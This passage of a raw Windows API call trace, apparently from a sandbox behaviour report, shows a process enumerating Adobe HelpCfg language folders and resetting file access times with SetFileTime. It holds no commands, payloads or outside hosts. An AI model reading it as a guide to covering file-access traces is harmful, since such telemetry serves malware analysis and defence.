Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb308 [0086.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e96b8 [0086.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.653] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.653] GetLastError () returned 0x12 [0086.653] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.653] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.653] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.653] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.653] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.653] GetLastError () returned 0x12 [0086.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.654] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.654] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru_RU", cAlternateFileName="")) returned 1 [0086.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.655] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ru_ru"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.655] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ru_ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0086.655] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.655] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.656] NtClose (Handle=0x168) returned 0x0 [0086.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.657] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.657] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.657] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb328 [0086.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e97c0 [0086.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.659] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.659] GetLastError () returned 0x12 [0086.659] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.660] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.660] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.660] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.660] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.660] GetLastError () returned 0x12 [0086.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.660] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.661] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk_SK", cAlternateFileName="")) returned 1 [0086.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.661] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sk_sk"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.694] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sk_sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0086.694] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.695] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.696] NtClose (Handle=0x180) returned 0x0 [0086.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.697] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.697] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.697] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.697] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.697] GetLastError () returned 0x12 [0086.697] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.697] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.697] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.697] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.697] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.697] GetLastError () returned 0x12 [0086.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.697] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.698] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl_SI", cAlternateFileName="")) returned 1 [0086.698] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sl_si"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.698] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sl_si"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0086.698] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.698] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.699] NtClose (Handle=0x168) returned 0x0 [0086.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.700] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.700] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.700] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb368 [0086.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e99d0 [0086.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.702] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.702] GetLastError () returned 0x12 [0086.702] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.702] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.702] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.702] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.702] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, 